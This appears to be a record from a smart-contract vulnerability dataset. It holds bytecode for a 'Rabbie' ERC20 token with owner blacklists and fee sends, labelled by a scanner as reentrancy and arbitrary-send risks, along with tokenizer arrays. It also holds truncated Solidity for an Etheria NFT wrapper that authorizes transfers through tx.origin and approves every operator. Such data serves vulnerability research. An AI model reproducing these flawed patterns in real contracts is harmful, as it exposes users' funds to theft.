019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280601681526020017f205261626269652045786368616e676520537761702000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f2052616262696500000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bf7980770639f582350ebd1b9c745fae714895ca77d169dd737f358fdb5ccfa364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2549, 19797, 2581, 21057, 2575, 2620, 2278, 2629, 4215, 2620, 2278, 22022, 2050, 2581, 2475, 2497, 2683, 2094, 22025, 2692, 28154, 2497, 2692, 28311, 2050, 28311, 2692, 2094, 27814, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,764
0x974dEAc1597575fB77c991EB7506dc751b58489b
pragma solidity ^0.7.6; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; interface MapElevationRetriever { function getElevation(uint8 col, uint8 row) external view returns (uint8); } interface Etheria{ function getOwner(uint8 col, uint8 row) external view returns(address); function setOwner(uint8 col, uint8 row, address newowner) external; } contract InterfacedEtheriaV12 is ERC721 { using Address for address; using Strings for uint256; Etheria public etheria = Etheria(0xB21f8684f23Dbb1008508B4DE91a0aaEDEbdB7E4); constructor() ERC721("Interfaced Etheria V1.2", "INTERFACEDETHERIAV1.2") { _setBaseURI("https://api.etheria.exchange/1.2/getTile/"); } function _deindexify(uint index) view internal returns (uint8 col, uint8 row) { row = uint8(index % 33); col = uint8(index / 33); } function ownerOf(uint256 tokenId) public view virtual override returns (address) { (uint8 col, uint8 row) = _deindexify(tokenId); return etheria.getOwner(col, row); } function balanceOf(address owner) public view virtual override returns (uint256) { uint balance = 0; for(uint8 i = 0; i < 33; i++) { for(uint8 j = 0; j < 33; j++) { balance = etheria.getOwner(i, j) == owner ? balance + 1 : balance; } } return balance; } function totalSupply() public view virtual override returns (uint256) { return 457; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { string memory base = baseURI(); return string(abi.encodePacked(base, tokenId.toString())); } //------------------------------------------------------------------------------------------------ // // function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); emit Approval(owner, to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { //require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return ownerOf(tokenId); } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return true; } //------------------------------------------------------------------------------------------------ // // function _transfer(address to, uint8 col, uint8 row) internal { require(!to.isContract(), "ERC721: cannot transfer to a contract"); require(to != address(0), "ERC721: transfer to the zero address"); etheria.setOwner(col, row, to); emit Transfer(tx.origin, to, uint(col)*33 + uint(row)); } function transferFrom(address from, address to, uint256 tokenId) public virtual override { (uint8 col, uint8 row) = _deindexify(tokenId); require(tx.origin == ownerOf(tokenId), "ERC721: transfer caller is not owner"); _transfer(to, col, row); } function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { (uint8 col, uint8 row) = _deindexify(tokenId); require(tx.origin == ownerOf(tokenId), "ERC721: transfer caller is not owner"); _transfer(to, col, row); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line 